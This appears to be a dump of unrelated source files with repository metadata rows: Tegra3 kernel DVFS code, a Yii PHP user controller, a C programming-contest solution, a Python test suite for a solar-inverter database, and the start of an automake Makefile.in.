pr_warn("tegra3_dvfs: cold offset %lu is too high for"
" regular dvfs limit %lu\n", offs, d->freqs[i]);
}
if (i)
BUG_ON(d->alt_freqs[i] < d->alt_freqs[i - 1]);
}
d->alt_freqs_state = ALT_FREQS_DISABLED;
}
static bool __init match_dvfs_one(struct dvfs *d, int speedo_id, int process_id)
{
if ((d->process_id != -1 && d->process_id != process_id) ||
(d->speedo_id != -1 && d->speedo_id != speedo_id)) {
pr_debug("tegra3_dvfs: rejected %s speedo %d,"
" process %d\n", d->clk_name, d->speedo_id,
d->process_id);
return false;
}
return true;
}
static int __init get_cpu_nominal_mv_index(
int speedo_id, int process_id, struct dvfs **cpu_dvfs)
{
int i, j, mv;
struct dvfs *d;
struct clk *c;
/*
* Find maximum cpu voltage that satisfies cpu_to_core dependency for
* nominal core voltage ("solve from cpu to core at nominal"). Clip
* result to the nominal cpu level for the chips with this speedo_id.
*/
mv = tegra3_dvfs_rail_vdd_core.nominal_millivolts;
for (i = 0; i < MAX_DVFS_FREQS; i++) {
if ((cpu_millivolts[i] == 0) ||
tegra3_get_core_floor_mv(cpu_millivolts[i]) > mv)
break;
}
BUG_ON(i == 0);
mv = cpu_millivolts[i - 1];
BUG_ON(mv < tegra3_dvfs_rail_vdd_cpu.min_millivolts);
mv = min(mv, tegra_cpu_speedo_mv());
/*
* Find matching cpu dvfs entry, and use it to determine index to the
* final nominal voltage, that satisfies the following requirements:
* - allows CPU to run at minimum of the maximum rates specified in
* the dvfs entry and clock tree
* - does not violate cpu_to_core dependency as determined above
*/
for (i = 0, j = 0; j < ARRAY_SIZE(cpu_dvfs_table); j++) {
d = &cpu_dvfs_table[j];
if (match_dvfs_one(d, speedo_id, process_id)) {
c = tegra_get_clock_by_name(d->clk_name);
BUG_ON(!c);
for (; i < MAX_DVFS_FREQS; i++) {
if ((d->freqs[i] == 0) ||
(cpu_millivolts[i] == 0) ||
(mv < cpu_millivolts[i]))
break;
if (c->max_rate <= d->freqs[i]*d->freqs_mult) {
i++;
break;
}
}
break;
}
}
BUG_ON(i == 0);
if (j == (ARRAY_SIZE(cpu_dvfs_table) - 1))
pr_err("tegra3_dvfs: WARNING!!!\n"
"tegra3_dvfs: no cpu dvfs table found for chip speedo_id"
" %d and process_id %d: set CPU rate limit at %lu\n"
"tegra3_dvfs: WARNING!!!\n",
speedo_id, process_id, d->freqs[i-1] * d->freqs_mult);
*cpu_dvfs = d;
return (i - 1);
}
static int __init get_core_nominal_mv_index(int speedo_id)
{
int i;
int mv = tegra_core_speedo_mv();
int core_edp_limit = get_core_edp();
/*
* Start with nominal level for the chips with this speedo_id. Then,
* make sure core nominal voltage is below edp limit for the board
* (if edp limit is set).
*/
if (core_edp_limit)
mv = min(mv, core_edp_limit);
/* Round nominal level down to the nearest core scaling step */
for (i = 0; i < MAX_DVFS_FREQS; i++) {
if ((core_millivolts[i] == 0) || (mv < core_millivolts[i]))
break;
}
if (i == 0) {
pr_err("tegra3_dvfs: unable to adjust core dvfs table to"
" nominal voltage %d\n", mv);
return -ENOSYS;
}
return (i - 1);
}
void __init tegra_soc_init_dvfs(void)
{
int cpu_speedo_id = tegra_cpu_speedo_id();
int soc_speedo_id = tegra_soc_speedo_id();
int cpu_process_id = tegra_cpu_process_id();
int core_process_id = tegra_core_process_id();
int i;
int core_nominal_mv_index;
int cpu_nominal_mv_index;
#ifndef CONFIG_TEGRA_CORE_DVFS
tegra_dvfs_core_disabled = true;
#endif
#ifndef CONFIG_TEGRA_CPU_DVFS
tegra_dvfs_cpu_disabled = true;
#endif
/*
* Find nominal voltages for core (1st) and cpu rails before rail
* init. Nominal voltage index in the scaling ladder will also be
* used to determine max dvfs frequency for the respective domains.
*/
core_nominal_mv_index = get_core_nominal_mv_index(soc_speedo_id);
if (core_nominal_mv_index < 0) {
tegra3_dvfs_rail_vdd_core.disabled = true;
tegra_dvfs_core_disabled = true;
core_nominal_mv_index = 0;
}
tegra3_dvfs_rail_vdd_core.nominal_millivolts =
core_millivolts[core_nominal_mv_index];
cpu_nominal_mv_index = get_cpu_nominal_mv_index(
cpu_speedo_id, cpu_process_id, &cpu_dvfs);
BUG_ON((cpu_nominal_mv_index < 0) || (!cpu_dvfs));
tegra3_dvfs_rail_vdd_cpu.nominal_millivolts =
cpu_millivolts[cpu_nominal_mv_index];
/* Init rail structures and dependencies */
tegra_dvfs_init_rails(tegra3_dvfs_rails, ARRAY_SIZE(tegra3_dvfs_rails));
tegra_dvfs_add_relationships(tegra3_dvfs_relationships,
ARRAY_SIZE(tegra3_dvfs_relationships));
/* Search core dvfs table for speedo/process matching entries and
initialize dvfs-ed clocks */
for (i = 0; i < ARRAY_SIZE(core_dvfs_table); i++) {
struct dvfs *d = &core_dvfs_table[i];
if (!match_dvfs_one(d, soc_speedo_id, core_process_id))
continue;
init_dvfs_one(d, core_nominal_mv_index);
}
/* Initialize matching cpu dvfs entry already found when nominal
voltage was determined */
init_dvfs_one(cpu_dvfs, cpu_nominal_mv_index);
init_dvfs_cold(cpu_dvfs, cpu_nominal_mv_index);
/* Finally disable dvfs on rails if necessary */
if (tegra_dvfs_core_disabled)
tegra_dvfs_rail_disable(&tegra3_dvfs_rail_vdd_core);
if (tegra_dvfs_cpu_disabled)
tegra_dvfs_rail_disable(&tegra3_dvfs_rail_vdd_cpu);
pr_info("tegra dvfs: VDD_CPU nominal %dmV, scaling %s\n",
tegra3_dvfs_rail_vdd_cpu.nominal_millivolts,
tegra_dvfs_cpu_disabled ? "disabled" : "enabled");
pr_info("tegra dvfs: VDD_CORE nominal %dmV, scaling %s\n",
tegra3_dvfs_rail_vdd_core.nominal_millivolts,
tegra_dvfs_core_disabled ? "disabled" : "enabled");
}
void tegra_cpu_dvfs_alter(int edp_thermal_index, bool before_clk_update)
{
bool enable = !edp_thermal_index;
if (enable != before_clk_update) {
int ret = tegra_dvfs_alt_freqs_set(cpu_dvfs, enable);
WARN_ONCE(ret, "tegra dvfs: failed to set CPU alternative"
" frequency limits for cold temeperature\n");
}
}
int tegra_dvfs_rail_disable_prepare(struct dvfs_rail *rail)
{
int ret = 0;
if (tegra_emc_get_dram_type() != DRAM_TYPE_DDR3)
return ret;
if (((&tegra3_dvfs_rail_vdd_core == rail) &&
(rail->nominal_millivolts > TEGRA_EMC_BRIDGE_MVOLTS_MIN)) ||
((&tegra3_dvfs_rail_vdd_cpu == rail) &&
(tegra3_get_core_floor_mv(rail->nominal_millivolts) >
TEGRA_EMC_BRIDGE_MVOLTS_MIN))) {
struct clk *bridge = tegra_get_clock_by_name("bridge.emc");
BUG_ON(!bridge);
ret = clk_enable(bridge);
pr_info("%s: %s: %s bridge.emc\n", __func__,
rail->reg_id, ret ? "failed to enable" : "enabled");
}
return ret;
}
int tegra_dvfs_rail_post_enable(struct dvfs_rail *rail)
{
if (tegra_emc_get_dram_type() != DRAM_TYPE_DDR3)
return 0;
if (((&tegra3_dvfs_rail_vdd_core == rail) &&
(rail->nominal_millivolts > TEGRA_EMC_BRIDGE_MVOLTS_MIN)) ||
((&tegra3_dvfs_rail_vdd_cpu == rail) &&
(tegra3_get_core_floor_mv(rail->nominal_millivolts) >
TEGRA_EMC_BRIDGE_MVOLTS_MIN))) {
struct clk *bridge = tegra_get_clock_by_name("bridge.emc");
BUG_ON(!bridge);
clk_disable(bridge);
pr_info("%s: %s: disabled bridge.emc\n",
__func__, rail->reg_id);
}
return 0;
}
/*
* sysfs and dvfs interfaces to cap tegra core domains frequencies
*/
static DEFINE_MUTEX(core_cap_lock);
struct core_cap {
int refcnt;
int level;
};
static struct core_cap tegra3_core_cap;
static struct core_cap kdvfs_core_cap;
static struct core_cap user_core_cap;
static struct kobject *cap_kobj;
/* Arranged in order required for enabling/lowering the cap */
static struct {
const char *cap_name;
struct clk *cap_clk;
unsigned long freqs[MAX_DVFS_FREQS];
} core_cap_table[] = {
{ .cap_name = "cap.cbus" },
{ .cap_name = "cap.sclk" },
{ .cap_name = "cap.emc" },
};
static void core_cap_level_set(int level)
{
int i, j;
for (j = 0; j < ARRAY_SIZE(core_millivolts); j++) {
int v = core_millivolts[j];
if ((v == 0) || (level < v))
break;
}
j = (j == 0) ? 0 : j - 1;
level = core_millivolts[j];
if (level < tegra3_core_cap.level) {
for (i = 0; i < ARRAY_SIZE(core_cap_table); i++)
if (core_cap_table[i].cap_clk)
clk_set_rate(core_cap_table[i].cap_clk,
core_cap_table[i].freqs[j]);
} else if (level > tegra3_core_cap.level) {
for (i = ARRAY_SIZE(core_cap_table) - 1; i >= 0; i--)
if (core_cap_table[i].cap_clk)
clk_set_rate(core_cap_table[i].cap_clk,
core_cap_table[i].freqs[j]);
}
tegra3_core_cap.level = level;
}
static void core_cap_update(void)
{
int new_level = tegra3_dvfs_rail_vdd_core.max_millivolts;
if (kdvfs_core_cap.refcnt)
new_level = min(new_level, kdvfs_core_cap.level);
if (user_core_cap.refcnt)
new_level = min(new_level, user_core_cap.level);
if (tegra3_core_cap.level != new_level)
core_cap_level_set(new_level);
}
static void core_cap_enable(bool enable)
{
int i;
if (enable) {
tegra3_core_cap.refcnt++;
if (tegra3_core_cap.refcnt == 1)
for (i = 0; i < ARRAY_SIZE(core_cap_table); i++)
if (core_cap_table[i].cap_clk)
clk_enable(core_cap_table[i].cap_clk);
} else if (tegra3_core_cap.refcnt) {
tegra3_core_cap.refcnt--;
if (tegra3_core_cap.refcnt == 0)
for (i = ARRAY_SIZE(core_cap_table) - 1; i >= 0; i--)
if (core_cap_table[i].cap_clk)
clk_disable(core_cap_table[i].cap_clk);
}
core_cap_update();
}
static ssize_t
core_cap_state_show(struct kobject *kobj, struct kobj_attribute *attr,
char *buf)
{
return sprintf(buf, "%d (%d)\n", tegra3_core_cap.refcnt ? 1 : 0,
user_core_cap.refcnt ? 1 : 0);
}
static ssize_t
core_cap_state_store(struct kobject *kobj, struct kobj_attribute *attr,
const char *buf, size_t count)
{
int state;
if (sscanf(buf, "%d", &state) != 1)
return -1;
mutex_lock(&core_cap_lock);
if (state) {
user_core_cap.refcnt++;
if (user_core_cap.refcnt == 1)
core_cap_enable(true);
} else if (user_core_cap.refcnt) {
user_core_cap.refcnt--;
if (user_core_cap.refcnt == 0)
core_cap_enable(false);
}
mutex_unlock(&core_cap_lock);
return count;
}
static ssize_t
core_cap_level_show(struct kobject *kobj, struct kobj_attribute *attr,
char *buf)
{
return sprintf(buf, "%d (%d)\n", tegra3_core_cap.level,
user_core_cap.level);
}
static ssize_t
core_cap_level_store(struct kobject *kobj, struct kobj_attribute *attr,
const char *buf, size_t count)
{
int level;
if (sscanf(buf, "%d", &level) != 1)
return -1;
mutex_lock(&core_cap_lock);
user_core_cap.level = level;
core_cap_update();
mutex_unlock(&core_cap_lock);
return count;
}
static struct kobj_attribute cap_state_attribute =
__ATTR(core_cap_state, 0644, core_cap_state_show, core_cap_state_store);
static struct kobj_attribute cap_level_attribute =
__ATTR(core_cap_level, 0644, core_cap_level_show, core_cap_level_store);
const struct attribute *cap_attributes[] = {
&cap_state_attribute.attr,
&cap_level_attribute.attr,
NULL,
};
void tegra_dvfs_core_cap_enable(bool enable)
{
mutex_lock(&core_cap_lock);
if (enable) {
kdvfs_core_cap.refcnt++;
if (kdvfs_core_cap.refcnt == 1)
core_cap_enable(true);
} else if (kdvfs_core_cap.refcnt) {
kdvfs_core_cap.refcnt--;
if (kdvfs_core_cap.refcnt == 0)
core_cap_enable(false);
}
mutex_unlock(&core_cap_lock);
}
void tegra_dvfs_core_cap_level_set(int level)
{
mutex_lock(&core_cap_lock);
kdvfs_core_cap.level = level;
core_cap_update();
mutex_unlock(&core_cap_lock);
}
static int __init init_core_cap_one(struct clk *c, unsigned long *freqs)
{
int i, v, next_v;
unsigned long rate, next_rate = 0;
for (i = 0; i < ARRAY_SIZE(core_millivolts); i++) {
v = core_millivolts[i];
if (v == 0)
break;
for (;;) {
rate = next_rate;
next_rate = clk_round_rate(c, rate + 1000);
if (IS_ERR_VALUE(next_rate)) {
pr_debug("tegra3_dvfs: failed to round %s"
" rate %lu", c->name, rate);
return -EINVAL;
}
if (rate == next_rate)
break;
next_v = tegra_dvfs_predict_millivolts(
c->parent, next_rate);
if (IS_ERR_VALUE(next_rate)) {
pr_debug("tegra3_dvfs: failed to predict %s mV"
" for rate %lu", c->name, next_rate);
return -EINVAL;
}
if (next_v > v)
break;
}
if (rate == 0) {
rate = next_rate;
pr_warn("tegra3_dvfs: minimum %s rate %lu requires"
" %d mV", c->name, rate, next_v);
}
freqs[i] = rate;
next_rate = rate;
}
return 0;
}
static int __init tegra_dvfs_init_core_cap(void)
{
int i;
struct clk *c = NULL;
tegra3_core_cap.level = kdvfs_core_cap.level = user_core_cap.level =
tegra3_dvfs_rail_vdd_core.max_millivolts;
for (i = 0; i < ARRAY_SIZE(core_cap_table); i++) {
c = tegra_get_clock_by_name(core_cap_table[i].cap_name);
if (!c || !c->parent ||
init_core_cap_one(c, core_cap_table[i].freqs)) {
pr_err("tegra3_dvfs: failed to initialize %s frequency"
" table", core_cap_table[i].cap_name);
continue;
}
core_cap_table[i].cap_clk = c;
}
cap_kobj = kobject_create_and_add("tegra_cap", kernel_kobj);
if (!cap_kobj) {
pr_err("tegra3_dvfs: failed to create sysfs cap object");
return 0;
}
if (sysfs_create_files(cap_kobj, cap_attributes)) {
pr_err("tegra3_dvfs: failed to create sysfs cap interface");
return 0;
}
pr_info("tegra dvfs: tegra sysfs cap interface is initialized\n");
return 0;
}
late_initcall(tegra_dvfs_init_core_cap);
| AndroidDeveloperAlliance/ZenKernel_Grouper | arch/arm/mach-tegra/tegra3_dvfs.c | C | gpl-2.0 | 37,574 |
<?php
class UsuarioController extends Controller
{
/**
* @var string the default layout for the views. Defaults to '//layouts/column2', meaning
* using two-column layout. See 'protected/views/layouts/column2.php'.
*/
public $layout='//layouts/column2';
/**
* @return array action filters
*/
public function filters()
{
return array(
'accessControl', // perform access control for CRUD operations
'postOnly + delete', // we only allow deletion via POST request
);
}
/**
* Specifies the access control rules.
* This method is used by the 'accessControl' filter.
* @return array access control rules
*/
public function accessRules()
{
return array(
array('allow', // allow all users to perform 'index' and 'view' actions
'actions'=>array('index','view'),
'users'=>array('*'),
),
array('allow', // allow authenticated user to perform 'create' and 'update' actions
'actions'=>array('create','update'),
'users'=>array('@'),
),
array('allow', // allow admin user to perform 'admin' and 'delete' actions
'actions'=>array('admin','delete'),
'users'=>array('admin'),
),
array('deny', // deny all users
'users'=>array('*'),
),
);
}
/**
* Displays a particular model.
* @param integer $id the ID of the model to be displayed
*/
public function actionView($id)
{
$this->render('view',array(
'model'=>$this->loadModel($id),
));
}
/**
* Creates a new model.
* If creation is successful, the browser will be redirected to the 'view' page.
*/
public function actionCreate()
{
$model=new Usuario;
// Uncomment the following line if AJAX validation is needed
// $this->performAjaxValidation($model);
if(isset($_POST['Usuario']))
{
$model->attributes=$_POST['Usuario'];
if($model->save())
$this->redirect(array('view','id'=>$model->id));
}
$this->render('create',array(
'model'=>$model,
));
}
/**
* Updates a particular model.
* If update is successful, the browser will be redirected to the 'view' page.
* @param integer $id the ID of the model to be updated
*/
public function actionUpdate($id)
{
$model=$this->loadModel($id);
// Uncomment the following line if AJAX validation is needed
$this->performAjaxValidation($model);
if(isset($_POST['Usuario']))
{
$model->attributes=$_POST['Usuario'];
if($model->save())
$this->redirect(array('view','id'=>$model->id));
}
$this->render('update',array(
'model'=>$model,
));
}
/**
* Deletes a particular model.
* If deletion is successful, the browser will be redirected to the 'admin' page.
* @param integer $id the ID of the model to be deleted
*/
public function actionDelete($id)
{
$this->loadModel($id)->delete();
// if AJAX request (triggered by deletion via admin grid view), we should not redirect the browser
if(!isset($_GET['ajax']))
$this->redirect(isset($_POST['returnUrl']) ? $_POST['returnUrl'] : array('admin'));
}
/**
* Lists all models.
*/
public function actionIndex()
{
$dataProvider=new CActiveDataProvider('Usuario');
$this->render('index',array(
'dataProvider'=>$dataProvider,
));
}
/**
* Manages all models.
*/
public function actionAdmin()
{
$model=new Usuario('search');
$model->unsetAttributes(); // clear any default values
if(isset($_GET['Usuario']))
$model->attributes=$_GET['Usuario'];
$this->render('admin',array(
'model'=>$model,
));
}
/**
* Returns the data model based on the primary key given in the GET variable.
* If the data model is not found, an HTTP exception will be raised.
* @param integer the ID of the model to be loaded
*/
public function loadModel($id)
{
$model=Usuario::model()->findByPk($id);
if($model===null)
throw new CHttpException(404,'The requested page does not exist.');
return $model;
}
/**
* Performs the AJAX validation.
* @param CModel the model to be validated
*/
protected function performAjaxValidation($model)
{
if(isset($_POST['ajax']) && $_POST['ajax']==='usuario-form')
{
echo CActiveForm::validate($model);
Yii::app()->end();
}
}
}
| bbidesenvolvimento/dm | protected/controllers/UsuarioController.php | PHP | gpl-2.0 | 4,143 |
/**
* @file id_10361.c
* @brief AOAPC I 10361
* @author chenxilinsidney
* @version 1.0
* @date 2015-03-24
*/
#include <stdio.h>
#include <string.h>
#define MAX_LINE_LENGTH 101
char line[2][MAX_LINE_LENGTH];
int main()
{
int num_case;
scanf("%d\n", &num_case);
while (num_case--) {
gets(*line);
gets(*(line+ 1));
int line_length_a = strlen(*line);
int line_length_b = strlen(*(line + 1));
int line_index = 0;
int char_position[4] = {0};
int position_index = 0;
/* output first line */
while (line_index < line_length_a) {
int character = line[0][line_index];
if (character != '<' && character != '>')
putchar(character);
else
char_position[position_index++] = line_index;
line_index++;
}
printf("\n");
/* output second line */
line[1][line_length_b - 3] = '\0';
printf("%s", line[1]);
for (position_index = 2; position_index >= 0; position_index--)
for (line_index = char_position[position_index] + 1; line_index <
char_position[position_index + 1]; line_index++)
putchar(line[0][line_index]);
printf("%s", line[0] + char_position[3] + 1);
printf("\n");
}
return 0;
}
| chenxilinsidney/funnycprogram | acm/aoapc/id_10361.c | C | gpl-2.0 | 1,360 |
#! /usr/bin/env python
from __future__ import print_function
import StringIO
import os
import os.path
import errno
import sqlite3
from nose.tools import *
import smadata2.db
import smadata2.db.mock
from smadata2 import check
def removef(filename):
try:
os.remove(filename)
except OSError as e:
if e.errno != errno.ENOENT:
raise
class BaseDBChecker(object):
def setUp(self):
self.db = self.opendb()
self.sample_data()
def tearDown(self):
pass
def sample_data(self):
pass
class MockDBChecker(BaseDBChecker):
def opendb(self):
return smadata2.db.mock.MockDatabase()
class BaseSQLite(object):
def prepare_sqlite(self):
self.dbname = "__testdb__smadata2_%s_.sqlite" % self.__class__.__name__
self.bakname = self.dbname + ".bak"
# Start with a blank slate
removef(self.dbname)
removef(self.bakname)
self.prepopulate()
if os.path.exists(self.dbname):
self.original = open(self.dbname).read()
else:
self.original = None
def prepopulate(self):
pass
class SQLiteDBChecker(BaseSQLite, BaseDBChecker):
def opendb(self):
self.prepare_sqlite()
return smadata2.db.sqlite.create_or_update(self.dbname)
def tearDown(self):
removef(self.dbname)
removef(self.bakname)
super(SQLiteDBChecker, self).tearDown()
class SimpleChecks(BaseDBChecker):
def test_trivial(self):
assert isinstance(self.db, smadata2.db.base.BaseDatabase)
def test_add_get_historic(self):
# Serial is defined as INTEGER, but we abuse the fact that
# sqlite doesn't actually make a distinction
serial = "__TEST__"
self.db.add_historic(serial, 0, 0)
self.db.add_historic(serial, 300, 10)
self.db.add_historic(serial, 3600, 20)
v0 = self.db.get_one_historic(serial, 0)
assert_equals(v0, 0)
v300 = self.db.get_one_historic(serial, 300)
assert_equals(v300, 10)
v3600 = self.db.get_one_historic(serial, 3600)
assert_equals(v3600, 20)
vmissing = self.db.get_one_historic(serial, 9999)
assert vmissing is None
def test_get_last_historic_missing(self):
serial = "__TEST__"
last = self.db.get_last_historic(serial)
assert last is None
def test_get_last_historic(self):
serial = "__TEST__"
self.db.add_historic(serial, 0, 0)
assert_equals(self.db.get_last_historic(serial), 0)
self.db.add_historic(serial, 300, 0)
assert_equals(self.db.get_last_historic(serial), 300)
self.db.add_historic(serial, 3600, 0)
assert_equals(self.db.get_last_historic(serial), 3600)
self.db.add_historic(serial, 2000, 0)
assert_equals(self.db.get_last_historic(serial), 3600)
class AggregateChecks(BaseDBChecker):
def sample_data(self):
super(AggregateChecks, self).sample_data()
self.serial1 = "__TEST__1"
self.serial2 = "__TEST__2"
self.dawn = 8*3600
self.dusk = 20*3600
sampledata = check.generate_linear(0, self.dawn, self.dusk, 24*3600,
0, 1)
for ts, y in sampledata:
self.db.add_historic(self.serial1, ts, y)
self.db.add_historic(self.serial2, ts, 2*y)
def test_basic(self):
for ts in range(0, self.dawn, 300):
y1 = self.db.get_one_historic(self.serial1, ts)
y2 = self.db.get_one_historic(self.serial2, ts)
assert_equals(y1, 0)
assert_equals(y2, 0)
for i, ts in enumerate(range(self.dawn, self.dusk, 300)):
y1 = self.db.get_one_historic(self.serial1, ts)
y2 = self.db.get_one_historic(self.serial2, ts)
assert_equals(y1, i)
assert_equals(y2, 2*i)
val = (self.dusk - self.dawn - 1) / 300
for ts in range(self.dusk, 24*3600, 300):
y1 = self.db.get_one_historic(self.serial1, ts)
y2 = self.db.get_one_historic(self.serial2, ts)
assert_equals(y1, val)
assert_equals(y2, 2*val)
def test_aggregate_one(self):
val = self.db.get_aggregate_one_historic(self.dusk,
(self.serial1, self.serial2))
assert_equals(val, 3*((self.dusk - self.dawn - 2) / 300))
def check_aggregate_range(self, from_, to_):
results = self.db.get_aggregate_historic(from_, to_,
(self.serial1, self.serial2))
first = results[0][0]
last = results[-1][0]
assert_equals(first, from_)
assert_equals(last, to_ - 300)
for ts, y in results:
if ts < self.dawn:
assert_equals(y, 0)
elif ts < self.dusk:
assert_equals(y, 3*((ts - self.dawn) / 300))
else:
assert_equals(y, 3*((self.dusk - self.dawn - 1) / 300))
def test_aggregate(self):
yield self.check_aggregate_range, 0, 24*3600
yield self.check_aggregate_range, 8*3600, 20*3600
yield self.check_aggregate_range, 13*3600, 14*3600
#
# Construct the basic tests as a cross-product
#
for cset in (SimpleChecks, AggregateChecks):
for db in (MockDBChecker, SQLiteDBChecker):
name = "_".join(("Test", cset.__name__, db.__name__))
globals()[name] = type(name, (cset, db), {})
#
# Tests for sqlite schema updating
#
class UpdateSQLiteChecker(Test_SimpleChecks_SQLiteDBChecker):
PRESERVE_RECORD = ("PRESERVE", 0, 31415)
def test_backup(self):
assert os.path.exists(self.bakname)
backup = open(self.bakname).read()
assert_equals(self.original, backup)
def test_preserved(self):
serial, timestamp, tyield = self.PRESERVE_RECORD
assert_equals(self.db.get_last_historic(serial), timestamp)
assert_equals(self.db.get_one_historic(serial, timestamp), tyield)
class TestUpdateNoPVO(UpdateSQLiteChecker):
def prepopulate(self):
DB_MAGIC = 0x71534d41
DB_VERSION = 0
conn = sqlite3.connect(self.dbname)
conn.executescript("""
CREATE TABLE generation (inverter_serial INTEGER,
timestamp INTEGER,
total_yield INTEGER,
PRIMARY KEY (inverter_serial, timestamp));
CREATE TABLE schema (magic INTEGER, version INTEGER);""")
conn.execute("INSERT INTO schema (magic, version) VALUES (?, ?)",
(DB_MAGIC, DB_VERSION))
conn.commit()
conn.execute("""INSERT INTO generation (inverter_serial, timestamp,
total_yield)
VALUES (?, ?, ?)""", self.PRESERVE_RECORD)
conn.commit()
del conn
class TestUpdateV0(UpdateSQLiteChecker):
def prepopulate(self):
DB_MAGIC = 0x71534d41
DB_VERSION = 0
conn = sqlite3.connect(self.dbname)
conn.executescript("""
CREATE TABLE generation (inverter_serial INTEGER,
timestamp INTEGER,
total_yield INTEGER,
PRIMARY KEY (inverter_serial, timestamp));
CREATE TABLE schema (magic INTEGER, version INTEGER);
CREATE TABLE pvoutput (sid STRING,
last_datetime_uploaded INTEGER);""")
conn.execute("INSERT INTO schema (magic, version) VALUES (?, ?)",
(DB_MAGIC, DB_VERSION))
conn.commit()
conn.execute("""INSERT INTO generation (inverter_serial, timestamp,
total_yield)
VALUES (?, ?, ?)""", self.PRESERVE_RECORD)
conn.commit()
del conn
class BadSchemaSQLiteChecker(BaseSQLite):
def setUp(self):
self.prepare_sqlite()
@raises(smadata2.db.WrongSchema)
def test_open(self):
self.db = smadata2.db.SQLiteDatabase(self.dbname)
class TestEmptySQLiteDB(BadSchemaSQLiteChecker):
"""Check that we correctly fail on an empty DB"""
def test_is_empty(self):
assert not os.path.exists(self.dbname)
class TestBadSQLite(BadSchemaSQLiteChecker):
"""Check that we correctly fail attempting to update an unknwon format"""
def prepopulate(self):
conn = sqlite3.connect(self.dbname)
conn.execute("CREATE TABLE unrelated (random STRING, data INTEGER)")
conn.commit()
del conn
@raises(smadata2.db.WrongSchema)
def test_update(self):
db = smadata2.db.sqlite.create_or_update(self.dbname)
| NobodysNightmare/python-smadata2 | smadata2/db/tests.py | Python | gpl-2.0 | 8,741 |
# Makefile.in generated automatically by automake 1.5 from Makefile.am.
# Copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
# Free Software Foundation, Inc.
# This Makefile.in is free software; the Free Software Foundation
# gives unlimited permission to copy and/or distribute it,
# with or without modifications, as long as this notice is preserved.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
# PARTICULAR PURPOSE.
SHELL = /bin/sh
srcdir = .
top_srcdir = ..
prefix = /usr/local
exec_prefix = ${prefix}
bindir = ${exec_prefix}/bin
sbindir = ${exec_prefix}/sbin
libexecdir = ${exec_prefix}/libexec
datadir = ${prefix}/share
sysconfdir = ${prefix}/etc
sharedstatedir = ${prefix}/com
localstatedir = ${prefix}/var
libdir = ${exec_prefix}/lib
infodir = ${prefix}/info
mandir = ${prefix}/man
includedir = ${prefix}/include
oldincludedir = /usr/include
pkgdatadir = $(datadir)/scout
pkglibdir = $(libdir)/scout
pkgincludedir = $(includedir)/scout
top_builddir = ..
ACLOCAL = ${SHELL} /Users/mk/code/scout-0.86/utils/missing --run aclocal
AUTOCONF = ${SHELL} /Users/mk/code/scout-0.86/utils/missing --run autoconf
AUTOMAKE = ${SHELL} /Users/mk/code/scout-0.86/utils/missing --run automake
AUTOHEADER = ${SHELL} /Users/mk/code/scout-0.86/utils/missing --run autoheader
INSTALL = /usr/bin/install -c
INSTALL_PROGRAM = ${INSTALL}
INSTALL_DATA = ${INSTALL} -m 644
INSTALL_SCRIPT = ${INSTALL}
INSTALL_HEADER = $(INSTALL_DATA)
transform = s,x,x,
NORMAL_INSTALL = :
PRE_INSTALL = :
POST_INSTALL = :
NORMAL_UNINSTALL = :
PRE_UNINSTALL = :
POST_UNINSTALL = :
host_alias =
host_triplet = i386-apple-darwin14.0.0
AMTAR = ${SHELL} /Users/mk/code/scout-0.86/utils/missing --run tar
AS = @AS@
AWK = awk
CC = gcc
DATE = October-28-2014
DEPDIR = .deps
DLLTOOL = @DLLTOOL@
ECHO = /bin/echo
EXEEXT =
INSTALL_STRIP_PROGRAM = ${SHELL} $(install_sh) -c -s
LIBTOOL = $(SHELL) $(top_builddir)/libtool
LN_S = ln -s
OBJDUMP = @OBJDUMP@
OBJEXT = o
PACKAGE = scout
PLATFORM = apple-i386-darwin14.0.0
RANLIB = ranlib
SCOUT_LIBS =
SSL_INCLUDE = -I/usr/include/openssl -I/usr/include
SSL_LDFLAGS = -L/usr/lib
SSL_LIBS = -lssl -lcrypto
STRIP = strip
VERSION = 0.86
am__include = include
am__quote =
install_sh = /Users/mk/code/scout-0.86/utils/install-sh
AUTOMAKE_OPTIONS = foreign no-dependencies
man_MANS = scout.1
SCOUTRC = $(HOME)/.scoutrc
EXTRA_DIST = $(man_MANS) scoutrc.in
subdir = doc
mkinstalldirs = $(SHELL) $(top_srcdir)/utils/mkinstalldirs
CONFIG_HEADER = $(top_builddir)/include/config.h
CONFIG_CLEAN_FILES =
depcomp =
DIST_SOURCES =
NROFF = nroff
MANS = $(man_MANS)
DIST_COMMON = Makefile.am Makefile.in
all: all-am
.SUFFIXES:
mostlyclean-libtool:
-rm -f *.lo
clean-libtool:
-rm -rf .libs _libs
distclean-libtool:
-rm -f libtool
$(srcdir)/Makefile.in: Makefile.am $(top_srcdir)/configure.in $(ACLOCAL_M4)
cd $(top_srcdir) && \
$(AUTOMAKE) --foreign doc/Makefile
Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
cd $(top_builddir) && \
CONFIG_HEADERS= CONFIG_LINKS= \
CONFIG_FILES=$(subdir)/$@ $(SHELL) ./config.status
uninstall-info-am:
man1dir = $(mandir)/man1
install-man1: $(man1_MANS) $(man_MANS)
@$(NORMAL_INSTALL)
$(mkinstalldirs) $(DESTDIR)$(man1dir)
@list='$(man1_MANS) $(dist_man1_MANS) $(nodist_man1_MANS)'; \
l2='$(man_MANS) $(dist_man_MANS) $(nodist_man_MANS)'; \
for i in $$l2; do \
case "$$i" in \
*.1*) list="$$list $$i" ;; \
esac; \
done; \
for i in $$list; do \
if test -f $(srcdir)/$$i; then file=$(srcdir)/$$i; \
else file=$$i; fi; \
ext=`echo $$i | sed -e 's/^.*\\.//'`; \
inst=`echo $$i | sed -e 's/\\.[0-9a-z]*$$//'`; \
inst=`echo $$inst | sed -e 's/^.*\///'`; \
inst=`echo $$inst | sed '$(transform)'`.$$ext; \
echo " $(INSTALL_DATA) $$file $(DESTDIR)$(man1dir)/$$inst"; \
$(INSTALL_DATA) $$file $(DESTDIR)$(man1dir)/$$inst; \
done
uninstall-man1:
@$(NORMAL_UNINSTALL)
@list='$(man1_MANS) $(dist_man1_MANS) $(nodist_man1_MANS)'; \
l2='$(man_MANS) $(dist_man_MANS) $(nodist_man_MANS)'; \
for i in $$l2; do \
case "$$i" in \
*.1*) list="$$list $$i" ;; \
esac; \
done; \
for i in $$list; do \
ext=`echo $$i | sed -e 's/^.*\\.//'`; \
inst=`echo $$i | sed -e 's/\\.[0-9a-z]*$$//'`; \
